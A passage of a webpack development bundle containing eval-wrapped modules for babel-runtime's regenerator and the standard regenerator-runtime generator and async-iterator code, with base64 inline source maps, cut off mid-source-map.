O0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0EiLCJzb3VyY2VSb290IjoiIn0=\n//# sourceURL=webpack-internal:///6\n");
/***/ }),
/* 7 */
/*!*********************************************************!*\
!*** ./node_modules/babel-runtime/regenerator/index.js ***!
\*********************************************************/
/*! dynamic exports provided */
/*! exports used: default */
/***/ (function(module, exports, __webpack_require__) {
eval("module.exports = __webpack_require__(/*! regenerator-runtime */ 8);\n//# sourceURL=[module]\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoiNy5qcyIsInNvdXJjZXMiOlsid2VicGFjazovLy8uL25vZGVfbW9kdWxlcy9iYWJlbC1ydW50aW1lL3JlZ2VuZXJhdG9yL2luZGV4LmpzPzVmMTYiXSwic291cmNlc0NvbnRlbnQiOlsibW9kdWxlLmV4cG9ydHMgPSByZXF1aXJlKFwicmVnZW5lcmF0b3ItcnVudGltZVwiKTtcblxuXG5cbi8vLy8vLy8vLy8vLy8vLy8vL1xuLy8gV0VCUEFDSyBGT09URVJcbi8vIC4vbm9kZV9tb2R1bGVzL2JhYmVsLXJ1bnRpbWUvcmVnZW5lcmF0b3IvaW5kZXguanNcbi8vIG1vZHVsZSBpZCA9IDdcbi8vIG1vZHVsZSBjaHVua3MgPSAwIl0sIm1hcHBpbmdzIjoiQUFBQTsiLCJzb3VyY2VSb290IjoiIn0=\n//# sourceURL=webpack-internal:///7\n");
/***/ }),
/* 8 */
/*!************************************************************!*\
!*** ./node_modules/regenerator-runtime/runtime-module.js ***!
\************************************************************/
/*! dynamic exports provided */
/*! all exports used */
/***/ (function(module, exports, __webpack_require__) {
eval("/**\n * Copyright (c) 2014-present, Facebook, Inc.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n// This method of obtaining a reference to the global object needs to be\n// kept identical to the way it is obtained in runtime.js\nvar g = (function() { return this })() || Function(\"return this\")();\n\n// Use `getOwnPropertyNames` because not all browsers support calling\n// `hasOwnProperty` on the global `self` object in a worker. See #183.\nvar hadRuntime = g.regeneratorRuntime &&\n Object.getOwnPropertyNames(g).indexOf(\"regeneratorRuntime\") >= 0;\n\n// Save the old regeneratorRuntime in case it needs to be restored later.\nvar oldRuntime = hadRuntime && g.regeneratorRuntime;\n\n// Force reevalutation of runtime.js.\ng.regeneratorRuntime = undefined;\n\nmodule.exports = __webpack_require__(/*! ./runtime */ 9);\n\nif (hadRuntime) {\n // Restore the original runtime.\n g.regeneratorRuntime = oldRuntime;\n} else {\n // Remove the global property added by runtime.js.\n try {\n delete g.regeneratorRuntime;\n } catch(e) {\n g.regeneratorRuntime = undefined;\n }\n}\n//# sourceURL=[module]\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoiOC5qcyIsInNvdXJjZXMiOlsid2VicGFjazovLy8uL25vZGVfbW9kdWxlcy9yZWdlbmVyYXRvci1ydW50aW1lL3J1bnRpbWUtbW9kdWxlLmpzPzhmMjEiXSwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBDb3B5cmlnaHQgKGMpIDIwMTQtcHJlc2VudCwgRmFjZWJvb2ssIEluYy5cbiAqXG4gKiBUaGlzIHNvdXJjZSBjb2RlIGlzIGxpY2Vuc2VkIHVuZGVyIHRoZSBNSVQgbGljZW5zZSBmb3VuZCBpbiB0aGVcbiAqIExJQ0VOU0UgZmlsZSBpbiB0aGUgcm9vdCBkaXJlY3Rvcnkgb2YgdGhpcyBzb3VyY2UgdHJlZS5cbiAqL1xuXG4vLyBUaGlzIG1ldGhvZCBvZiBvYnRhaW5pbmcgYSByZWZlcmVuY2UgdG8gdGhlIGdsb2JhbCBvYmplY3QgbmVlZHMgdG8gYmVcbi8vIGtlcHQgaWRlbnRpY2FsIHRvIHRoZSB3YXkgaXQgaXMgb2J0YWluZWQgaW4gcnVudGltZS5qc1xudmFyIGcgPSAoZnVuY3Rpb24oKSB7IHJldHVybiB0aGlzIH0pKCkgfHwgRnVuY3Rpb24oXCJyZXR1cm4gdGhpc1wiKSgpO1xuXG4vLyBVc2UgYGdldE93blByb3BlcnR5TmFtZXNgIGJlY2F1c2Ugbm90IGFsbCBicm93c2VycyBzdXBwb3J0IGNhbGxpbmdcbi8vIGBoYXNPd25Qcm9wZXJ0eWAgb24gdGhlIGdsb2JhbCBgc2VsZmAgb2JqZWN0IGluIGEgd29ya2VyLiBTZWUgIzE4My5cbnZhciBoYWRSdW50aW1lID0gZy5yZWdlbmVyYXRvclJ1bnRpbWUgJiZcbiAgT2JqZWN0LmdldE93blByb3BlcnR5TmFtZXMoZykuaW5kZXhPZihcInJlZ2VuZXJhdG9yUnVudGltZVwiKSA+PSAwO1xuXG4vLyBTYXZlIHRoZSBvbGQgcmVnZW5lcmF0b3JSdW50aW1lIGluIGNhc2UgaXQgbmVlZHMgdG8gYmUgcmVzdG9yZWQgbGF0ZXIuXG52YXIgb2xkUnVudGltZSA9IGhhZFJ1bnRpbWUgJiYgZy5yZWdlbmVyYXRvclJ1bnRpbWU7XG5cbi8vIEZvcmNlIHJlZXZhbHV0YXRpb24gb2YgcnVudGltZS5qcy5cbmcucmVnZW5lcmF0b3JSdW50aW1lID0gdW5kZWZpbmVkO1xuXG5tb2R1bGUuZXhwb3J0cyA9IHJlcXVpcmUoXCIuL3J1bnRpbWVcIik7XG5cbmlmIChoYWRSdW50aW1lKSB7XG4gIC8vIFJlc3RvcmUgdGhlIG9yaWdpbmFsIHJ1bnRpbWUuXG4gIGcucmVnZW5lcmF0b3JSdW50aW1lID0gb2xkUnVudGltZTtcbn0gZWxzZSB7XG4gIC8vIFJlbW92ZSB0aGUgZ2xvYmFsIHByb3BlcnR5IGFkZGVkIGJ5IHJ1bnRpbWUuanMuXG4gIHRyeSB7XG4gICAgZGVsZXRlIGcucmVnZW5lcmF0b3JSdW50aW1lO1xuICB9IGNhdGNoKGUpIHtcbiAgICBnLnJlZ2VuZXJhdG9yUnVudGltZSA9IHVuZGVmaW5lZDtcbiAgfVxufVxuXG5cblxuLy8vLy8vLy8vLy8vLy8vLy8vXG4vLyBXRUJQQUNLIEZPT1RFUlxuLy8gLi9ub2RlX21vZHVsZXMvcmVnZW5lcmF0b3ItcnVudGltZS9ydW50aW1lLW1vZHVsZS5qc1xuLy8gbW9kdWxlIGlkID0gOFxuLy8gbW9kdWxlIGNodW5rcyA9IDAiXSwibWFwcGluZ3MiOiJBQUFBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7Iiwic291cmNlUm9vdCI6IiJ9\n//# sourceURL=webpack-internal:///8\n");
/***/ }),
/* 9 */
/*!*****************************************************!*\
!*** ./node_modules/regenerator-runtime/runtime.js ***!
\*****************************************************/
/*! dynamic exports provided */
/*! all exports used */
/***/ (function(module, exports) {
eval("/**\n * Copyright (c) 2014-present, Facebook, Inc.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n!(function(global) {\n \"use strict\";\n\n var Op = Object.prototype;\n var hasOwn = Op.hasOwnProperty;\n var undefined; // More compressible than void 0.\n var $Symbol = typeof Symbol === \"function\" ? Symbol : {};\n var iteratorSymbol = $Symbol.iterator || \"@@iterator\";\n var asyncIteratorSymbol = $Symbol.asyncIterator || \"@@asyncIterator\";\n var toStringTagSymbol = $Symbol.toStringTag || \"@@toStringTag\";\n\n var inModule = typeof module === \"object\";\n var runtime = global.regeneratorRuntime;\n if (runtime) {\n if (inModule) {\n // If regeneratorRuntime is defined globally and we're in a module,\n // make the exports object identical to regeneratorRuntime.\n module.exports = runtime;\n }\n // Don't bother evaluating the rest of this file if the runtime was\n // already defined globally.\n return;\n }\n\n // Define the runtime globally (as expected by generated code) as either\n // module.exports (if we're in a module) or a new, empty object.\n runtime = global.regeneratorRuntime = inModule ? module.exports : {};\n\n function wrap(innerFn, outerFn, self, tryLocsList) {\n // If outerFn provided and outerFn.prototype is a Generator, then outerFn.prototype instanceof Generator.\n var protoGenerator = outerFn && outerFn.prototype instanceof Generator ? outerFn : Generator;\n var generator = Object.create(protoGenerator.prototype);\n var context = new Context(tryLocsList || []);\n\n // The ._invoke method unifies the implementations of the .next,\n // .throw, and .return methods.\n generator._invoke = makeInvokeMethod(innerFn, self, context);\n\n return generator;\n }\n runtime.wrap = wrap;\n\n // Try/catch helper to minimize deoptimizations. Returns a completion\n // record like context.tryEntries[i].completion. This interface could\n // have been (and was previously) designed to take a closure to be\n // invoked without arguments, but in all the cases we care about we\n // already have an existing method we want to call, so there's no need\n // to create a new function object. We can even get away with assuming\n // the method takes exactly one argument, since that happens to be true\n // in every case, so we don't have to touch the arguments object. The\n // only additional allocation required is the completion record, which\n // has a stable shape and so hopefully should be cheap to allocate.\n function tryCatch(fn, obj, arg) {\n try {\n return { type: \"normal\", arg: fn.call(obj, arg) };\n } catch (err) {\n return { type: \"throw\", arg: err };\n }\n }\n\n var GenStateSuspendedStart = \"suspendedStart\";\n var GenStateSuspendedYield = \"suspendedYield\";\n var GenStateExecuting = \"executing\";\n var GenStateCompleted = \"completed\";\n\n // Returning this object from the innerFn has the same effect as\n // breaking out of the dispatch switch statement.\n var ContinueSentinel = {};\n\n // Dummy constructor functions that we use as the .constructor and\n // .constructor.prototype properties for functions that return Generator\n // objects. For full spec compliance, you may wish to configure your\n // minifier not to mangle the names of these two functions.\n function Generator() {}\n function GeneratorFunction() {}\n function GeneratorFunctionPrototype() {}\n\n // This is a polyfill for %IteratorPrototype% for environments that\n // don't natively support it.\n var IteratorPrototype = {};\n IteratorPrototype[iteratorSymbol] = function () {\n return this;\n };\n\n var getProto = Object.getPrototypeOf;\n var NativeIteratorPrototype = getProto && getProto(getProto(values([])));\n if (NativeIteratorPrototype &&\n NativeIteratorPrototype !== Op &&\n hasOwn.call(NativeIteratorPrototype, iteratorSymbol)) {\n // This environment has a native %IteratorPrototype%; use it instead\n // of the polyfill.\n IteratorPrototype = NativeIteratorPrototype;\n }\n\n var Gp = GeneratorFunctionPrototype.prototype =\n Generator.prototype = Object.create(IteratorPrototype);\n GeneratorFunction.prototype = Gp.constructor = GeneratorFunctionPrototype;\n GeneratorFunctionPrototype.constructor = GeneratorFunction;\n GeneratorFunctionPrototype[toStringTagSymbol] =\n GeneratorFunction.displayName = \"GeneratorFunction\";\n\n // Helper for defining the .next, .throw, and .return methods of the\n // Iterator interface in terms of a single ._invoke method.\n function defineIteratorMethods(prototype) {\n [\"next\", \"throw\", \"return\"].forEach(function(method) {\n prototype[method] = function(arg) {\n return this._invoke(method, arg);\n };\n });\n }\n\n runtime.isGeneratorFunction = function(genFun) {\n var ctor = typeof genFun === \"function\" && genFun.constructor;\n return ctor\n ? ctor === GeneratorFunction ||\n // For the native GeneratorFunction constructor, the best we can\n // do is to check its .name property.\n (ctor.displayName || ctor.name) === \"GeneratorFunction\"\n : false;\n };\n\n runtime.mark = function(genFun) {\n if (Object.setPrototypeOf) {\n Object.setPrototypeOf(genFun, GeneratorFunctionPrototype);\n } else {\n genFun.__proto__ = GeneratorFunctionPrototype;\n if (!(toStringTagSymbol in genFun)) {\n genFun[toStringTagSymbol] = \"GeneratorFunction\";\n }\n }\n genFun.prototype = Object.create(Gp);\n return genFun;\n };\n\n // Within the body of any async function, `await x` is transformed to\n // `yield regeneratorRuntime.awrap(x)`, so that the runtime can test\n // `hasOwn.call(value, \"__await\")` to determine if the yielded value is\n // meant to be awaited.\n runtime.awrap = function(arg) {\n return { __await: arg };\n };\n\n function AsyncIterator(generator) {\n function invoke(method, arg, resolve, reject) {\n var record = tryCatch(generator[method], generator, arg);\n if (record.type === \"throw\") {\n reject(record.arg);\n } else {\n var result = record.arg;\n var value = result.value;\n if (value &&\n typeof value === \"object\" &&\n hasOwn.call(value, \"__await\")) {\n return Promise.resolve(value.__await).then(function(value) {\n invoke(\"next\", value, resolve, reject);\n }, function(err) {\n invoke(\"throw\", err, resolve, reject);\n });\n }\n\n return Promise.resolve(value).then(function(unwrapped) {\n // When a yielded Promise is resolved, its final value becomes\n // the .value of the Promise<{value,done}> result for the\n // current iteration. If the Promise is rejected, however, the\n // result for this iteration will be rejected with the same\n // reason. Note that rejections of yielded Promises are not\n // thrown back into the generator function, as is the case\n // when an awaited Promise is rejected. This difference in\n // behavior between yield and await is important, because it\n // allows the consumer to decide what to do with the yielded\n // rejection (swallow it and continue, manually .throw it back\n // into the generator, abandon iteration, whatever). With\n // await, by contrast, there is no opportunity to examine the\n // rejection reason outside the generator function, so the\n // only option is to throw it from the await expression, and\n // let the generator function handle the exception.\n result.value = unwrapped;\n resolve(result);\n }, reject);\n }\n }\n\n var previousPromise;\n\n function enqueue(method, arg) {\n function callInvokeWithMethodAndArg() {\n return new Promise(function(resolve, reject) {\n invoke(method, arg, resolve, reject);\n });\n }\n\n return previousPromise =\n // If enqueue has been called before, then we want to wait until\n // all previous Promises have been resolved before calling invoke,\n // so that results are always delivered in the correct order. If\n // enqueue has not been called before, then it is important to\n // call invoke immediately, without waiting on a callback to fire,\n // so that the async generator function has the opportunity to do\n // any necessary setup in a predictable way. This predictability\n // is why the Promise constructor synchronously invokes its\n // executor callback, and why async functions synchronously\n // execute code before the first await. Since we implement simple\n // async functions in terms of async generators, it is especially\n // important to get this right, even though it requires care.\n previousPromise ? previousPromise.then(\n callInvokeWithMethodAndArg,\n // Avoid propagating failures to Promises returned by later\n // invocations of the iterator.\n callInvokeWithMethodAndArg\n ) : callInvokeWithMethodAndArg();\n }\n\n // Define the unified helper method that is used to implement .next,\n // .throw, and .return (see defineIteratorMethods).\n this._invoke = enqueue;\n }\n\n defineIteratorMethods(AsyncIterator.prototype);\n AsyncIterator.prototype[asyncIteratorSymbol] = function () {\n return this;\n };\n runtime.AsyncIterator = AsyncIterator;\n\n // Note that simple async functions are implemented on top of\n // AsyncIterator objects; they just return a Promise for the value of\n // the final result produced by the iterator.\n runtime.async = function(innerFn, outerFn, self, tryLocsList) {\n var iter = new AsyncIterator(\n wrap(innerFn, outerFn, self, tryLocsList)\n );\n\n return runtime.isGeneratorFunction(outerFn)\n ? iter // If outerFn is a generator, return the full iterator.\n : iter.next().then(function(result) {\n return result.done ? result.value : iter.next();\n });\n };\n\n function makeInvokeMethod(innerFn, self, context) {\n var state = GenStateSuspendedStart;\n\n return function invoke(method, arg) {\n if (state === GenStateExecuting) {\n throw new Error(\"Generator is already running\");\n }\n\n if (state === GenStateCompleted) {\n if (method === \"throw\") {\n throw arg;\n }\n\n // Be forgiving, per 25.3.3.3.3 of the spec:\n // https://people.mozilla.org/~jorendorff/es6-draft.html#sec-generatorresume\n return doneResult();\n }\n\n context.method = method;\n context.arg = arg;\n\n while (true) {\n var delegate = context.delegate;\n if (delegate) {\n var delegateResult = maybeInvokeDelegate(delegate, context);\n if (delegateResult) {\n if (delegateResult === ContinueSentinel) continue;\n return delegateResult;\n }\n }\n\n if (context.method === \"next\") {\n // Setting context._sent for legacy support of Babel's\n // function.sent implementation.\n context.sent = context._sent = context.arg;\n\n } else if (context.method === \"throw\") {\n if (state === GenStateSuspendedStart) {\n state = GenStateCompleted;\n throw context.arg;\n }\n\n context.dispatchException(context.arg);\n\n } else if (context.method === \"return\") {\n context.abrupt(\"return\", context.arg);\n }\n\n state = GenStateExecuting;\n\n var record = tryCatch(innerFn, self, context);\n if (record.type === \"normal\") {\n // If an exception is thrown from innerFn, we leave state ===\n // GenStateExecuting and loop back for another invocation.\n state = context.done\n ? GenStateCompleted\n : GenStateSuspendedYield;\n\n if (record.arg === ContinueSentinel) {\n continue;\n }\n\n return {\n value: record.arg,\n done: context.done\n };\n\n } else if (record.type === \"throw\") {\n state = GenStateCompleted;\n // Dispatch the exception by looping back around to the\n // context.dispatchException(context.arg) call above.\n context.method = \"throw\";\n context.arg = record.arg;\n }\n }\n };\n }\n\n // Call delegate.iterator[context.method](context.arg) and handle the\n // result, either by returning a { value, done } result from the\n // delegate iterator, or by modifying context.method and context.arg,\n // setting context.delegate to null, and returning the ContinueSentinel.\n function maybeInvokeDelegate(delegate, context) {\n var method = delegate.iterator[context.method];\n if (method === undefined) {\n // A .throw or .return when the delegate iterator has no .throw\n // method always terminates the yield* loop.\n context.delegate = null;\n\n if (context.method === \"throw\") {\n if (delegate.iterator.return) {\n // If the delegate iterator has a return method, give it a\n // chance to clean up.\n context.method = \"return\";\n context.arg = undefined;\n maybeInvokeDelegate(delegate, context);\n\n if (context.method === \"throw\") {\n // If maybeInvokeDelegate(context) changed context.method from\n // \"return\" to \"throw\", let that override the TypeError below.\n return ContinueSentinel;\n }\n }\n\n context.method = \"throw\";\n context.arg = new TypeError(\n \"The iterator does not provide a 'throw' method\");\n }\n\n return ContinueSentinel;\n }\n\n var record = tryCatch(method, delegate.iterator, context.arg);\n\n if (record.type === \"throw\") {\n context.method = \"throw\";\n context.arg = record.arg;\n context.delegate = null;\n return ContinueSentinel;\n }\n\n var info = record.arg;\n\n if (! info) {\n context.method = \"throw\";\n context.arg = new TypeError(\"iterator result is not an object\");\n context.delegate = null;\n return ContinueSentinel;\n }\n\n if (info.done) {\n // Assign the result of the finished delegate to the temporary\n // variable specified by delegate.resultName (see delegateYield).\n context[delegate.resultName] = info.value;\n\n // Resume execution at the desired location (see delegateYield).\n context.next = delegate.nextLoc;\n\n // If context.method was \"throw\" but the delegate handled the\n // exception, let the outer generator proceed normally. If\n // context.method was \"next\", forget context.arg since it has been\n // \"consumed\" by the delegate iterator. If context.method was\n // \"return\", allow the original .return call to continue in the\n // outer generator.\n if (context.method !== \"return\") {\n context.method = \"next\";\n context.arg = undefined;\n }\n\n } else {\n // Re-yield the result returned by the delegate method.\n return info;\n }\n\n // The delegate iterator is finished, so forget it and continue with\n // the outer generator.\n context.delegate = null;\n return ContinueSentinel;\n }\n\n // Define Generator.prototype.{next,throw,return} in terms of the\n // unified ._invoke helper method.\n defineIteratorMethods(Gp);\n\n Gp[toStringTagSymbol] = \"Generator\";\n\n // A Generator should always return itself as the iterator object when the\n // @@iterator function is called on it. Some browsers' implementations of the\n // iterator prototype chain incorrectly implement this, causing the Generator\n // object to not be returned from this call. This ensures that doesn't happen.\n // See https://github.com/facebook/regenerator/issues/274 for more details.\n Gp[iteratorSymbol] = function() {\n return this;\n };\n\n Gp.toString = function() {\n return \"[object Generator]\";\n };\n\n function pushTryEntry(locs) {\n var entry = { tryLoc: locs[0] };\n\n if (1 in locs) {\n entry.catchLoc = locs[1];\n }\n\n if (2 in locs) {\n entry.finallyLoc = locs[2];\n entry.afterLoc = locs[3];\n }\n\n this.tryEntries.push(entry);\n }\n\n function resetTryEntry(entry) {\n var record = entry.completion || {};\n record.type = \"normal\";\n delete record.arg;\n entry.completion = record;\n }\n\n function Context(tryLocsList) {\n // The root entry object (effectively a try statement without a catch\n // or a finally block) gives us a place to store values thrown from\n // locations where there is no enclosing try statement.\n this.tryEntries = [{ tryLoc: \"root\" }];\n tryLocsList.forEach(pushTryEntry, this);\n this.reset(true);\n }\n\n runtime.keys = function(object) {\n var keys = [];\n for (var key in object) {\n keys.push(key);\n }\n keys.reverse();\n\n // Rather than returning an object with a next method, we keep\n // things simple and return the next function itself.\n return function next() {\n while (keys.length) {\n var key = keys.pop();\n if (key in object) {\n next.value = key;\n next.done = false;\n return next;\n }\n }\n\n // To avoid creating an additional object, we just hang the .value\n // and .done properties off the next function object itself. This\n // also ensures that the minifier will not anonymize the function.\n next.done = true;\n return next;\n };\n };\n\n function values(iterable) {\n if (iterable) {\n var iteratorMethod = iterable[iteratorSymbol];\n if (iteratorMethod) {\n return iteratorMethod.call(iterable);\n }\n\n if (typeof iterable.next === \"function\") {\n return iterable;\n }\n\n if (!isNaN(iterable.length)) {\n var i = -1, next = function next() {\n while (++i < iterable.length) {\n if (hasOwn.call(iterable, i)) {\n next.value = iterable[i];\n next.done = false;\n return next;\n }\n }\n\n next.value = undefined;\n next.done = true;\n\n return next;\n };\n\n return next.next = next;\n }\n }\n\n // Return an iterator with no values.\n return { next: doneResult };\n }\n runtime.values = values;\n\n function doneResult() {\n return { value: undefined, done: true };\n }\n\n Context.prototype = {\n constructor: Context,\n\n reset: function(skipTempReset) {\n this.prev = 0;\n this.next = 0;\n // Resetting context._sent for legacy support of Babel's\n // function.sent implementation.\n this.sent = this._sent = undefined;\n this.done = false;\n this.delegate = null;\n\n this.method = \"next\";\n this.arg = undefined;\n\n this.tryEntries.forEach(resetTryEntry);\n\n if (!skipTempReset) {\n for (var name in this) {\n // Not sure about the optimal order of these conditions:\n if (name.charAt(0) === \"t\" &&\n hasOwn.call(this, name) &&\n !isNaN(+name.slice(1))) {\n this[name] = undefined;\n }\n }\n }\n },\n\n stop: function() {\n this.done = true;\n\n var rootEntry = this.tryEntries[0];\n var rootRecord = rootEntry.completion;\n if (rootRecord.type === \"throw\") {\n throw rootRecord.arg;\n }\n\n return this.rval;\n },\n\n dispatchException: function(exception) {\n if (this.done) {\n throw exception;\n }\n\n var context = this;\n function handle(loc, caught) {\n record.type = \"throw\";\n record.arg = exception;\n context.next = loc;\n\n if (caught) {\n // If the dispatched exception was caught by a catch block,\n // then let that catch block handle the exception normally.\n context.method = \"next\";\n context.arg = undefined;\n }\n\n return !! caught;\n }\n\n for (var i = this.tryEntries.length - 1; i >= 0; --i) {\n var entry = this.tryEntries[i];\n var record = entry.completion;\n\n if (entry.tryLoc === \"root\") {\n // Exception thrown outside of any try block that could handle\n // it, so set the completion value of the entire function to\n // throw the exception.\n return handle(\"end\");\n }\n\n if (entry.tryLoc <= this.prev) {\n var hasCatch = hasOwn.call(entry, \"catchLoc\");\n var hasFinally = hasOwn.call(entry, \"finallyLoc\");\n\n if (hasCatch && hasFinally) {\n if (this.prev < entry.catchLoc) {\n return handle(entry.catchLoc, true);\n } else if (this.prev < entry.finallyLoc) {\n return handle(entry.finallyLoc);\n }\n\n } else if (hasCatch) {\n if (this.prev < entry.catchLoc) {\n return handle(entry.catchLoc, true);\n }\n\n } else if (hasFinally) {\n if (this.prev < entry.finallyLoc) {\n return handle(entry.finallyLoc);\n }\n\n } else {\n throw new Error(\"try statement without catch or finally\");\n }\n }\n }\n },\n\n abrupt: function(type, arg) {\n for (var i = this.tryEntries.length - 1; i >= 0; --i) {\n var entry = this.tryEntries[i];\n if (entry.tryLoc <= this.prev &&\n hasOwn.call(entry, \"finallyLoc\") &&\n this.prev < entry.finallyLoc) {\n var finallyEntry = entry;\n break;\n }\n }\n\n if (finallyEntry &&\n (type === \"break\" ||\n type === \"continue\") &&\n finallyEntry.tryLoc <= arg &&\n arg <= finallyEntry.finallyLoc) {\n // Ignore the finally entry if control is not jumping to a\n // location outside the try/catch block.\n finallyEntry = null;\n }\n\n var record = finallyEntry ? finallyEntry.completion : {};\n record.type = type;\n record.arg = arg;\n\n if (finallyEntry) {\n this.method = \"next\";\n this.next = finallyEntry.finallyLoc;\n return ContinueSentinel;\n }\n\n return this.complete(record);\n },\n\n complete: function(record, afterLoc) {\n if (record.type === \"throw\") {\n throw record.arg;\n }\n\n if (record.type === \"break\" ||\n record.type === \"continue\") {\n this.next = record.arg;\n } else if (record.type === \"return\") {\n this.rval = this.arg = record.arg;\n this.method = \"return\";\n this.next = \"end\";\n } else if (record.type === \"normal\" && afterLoc) {\n this.next = afterLoc;\n }\n\n return ContinueSentinel;\n },\n\n finish: function(finallyLoc) {\n for (var i = this.tryEntries.length - 1; i >= 0; --i) {\n var entry = this.tryEntries[i];\n if (entry.finallyLoc === finallyLoc) {\n this.complete(entry.completion, entry.afterLoc);\n resetTryEntry(entry);\n return ContinueSentinel;\n }\n }\n },\n\n \"catch\": function(tryLoc) {\n for (var i = this.tryEntries.length - 1; i >= 0; --i) {\n var entry = this.tryEntries[i];\n if (entry.tryLoc === tryLoc) {\n var record = entry.completion;\n if (record.type === \"throw\") {\n var thrown = record.arg;\n resetTryEntry(entry);\n }\n return thrown;\n }\n }\n\n // The context.catch method must only be called with a location\n // argument that corresponds to a known catch block.\n throw new Error(\"illegal catch attempt\");\n },\n\n delegateYield: function(iterable, resultName, nextLoc) {\n this.delegate = {\n iterator: values(iterable),\n resultName: resultName,\n nextLoc: nextLoc\n };\n\n if (this.method === \"next\") {\n // Deliberately forget the last sent value so that we don't\n // accidentally pass it on to the delegate.\n this.arg = undefined;\n }\n\n return ContinueSentinel;\n }\n };\n})(\n // In sloppy mode, unbound `this` refers to the global object, fallback to\n // Function constructor if we're in global strict mode. That is sadly a form\n // of indirect eval which violates Content Security Policy.\n (function() { return this })() || Function(\"return this\")()\n);\n//# sourceURL=[module]\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoiOS5qcyIsInNvdXJjZXMiOlsid2VicGFjazovLy8uL25vZGVfbW9kdWxlcy9yZWdlbmVyYXRvci1ydW50aW1lL3J1bnRpbWUuanM/NGE1NyJdLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIENvcHlyaWdodCAoYykgMjAxNC1wcmVzZW50LCBGYWNlYm9vaywgSW5jLlxuICpcbiAqIFRoaXMgc291cmNlIGNvZGUgaXMgbGljZW5zZWQgdW5kZXIgdGhlIE1JVCBsaWNlbnNlIGZvdW5kIGluIHRoZVxuICogTElDRU5TRSBmaWxlIGluIHRoZSByb290IGRpcmVjdG9yeSBvZiB0aGlzIHNvdXJjZSB0cmVlLlxuICovXG5cbiEoZnVuY3Rpb24oZ2xvYmFsKSB7XG4gIFwidXNlIHN0cmljdFwiO1xuXG4gIHZhciBPcCA9IE9iamVjdC5wcm90b3R5cGU7XG4gIHZhciBoYXNPd24gPSBPcC5oYXNPd25Qcm9wZXJ0eTtcbiAgdmFyIHVuZGVmaW5lZDsgLy8gTW9yZSBjb21wcmVzc2libGUgdGhhbiB2b2lkIDAuXG4gIHZhciAkU3ltYm9sID0gdHlwZW9mIFN5bWJvbCA9PT0gXCJmdW5jdGlvblwiID8gU3ltYm9sIDoge307XG4gIHZhciBpdGVyYXRvclN5bWJvbCA9ICRTeW1ib2wuaXRlcmF0b3IgfHwgXCJAQGl0ZXJhdG9yXCI7XG4gIHZhciBhc3luY0l0ZXJhdG9yU3ltYm9sID0gJFN5bWJvbC5hc3luY0l0ZXJhdG9yIHx8IFwiQEBhc3luY0l0ZXJhdG9yXCI7XG4gIHZhciB0b1N0cmluZ1RhZ1N5bWJvbCA9ICRTeW1ib2wudG9TdHJpbmdUYWcgfHwgXCJAQHRvU3RyaW5nVGFnXCI7XG5cbiAgdmFyIGluTW9kdWxlID0gdHlwZW9mIG1vZHVsZSA9PT0gXCJvYmplY3RcIjtcbiAgdmFyIHJ1bnRpbWUgPSBnbG9iYWwucmVnZW5lcmF0b3JSdW50aW1lO1xuICBpZiAocnVudGltZSkge1xuICAgIGlmIChpbk1vZHVsZSkge1xuICAgICAgLy8gSWYgcmVnZW5lcmF0b3JSdW50aW1lIGlzIGRlZmluZWQgZ2xvYmFsbHkgYW5kIHdlJ3JlIGluIGEgbW9kdWxlLFxuICAgICAgLy8gbWFrZSB0aGUgZXhwb3J0cyBvYmplY3QgaWRlbnRpY2FsIHRvIHJlZ2VuZXJhdG9yUnVudGltZS5cb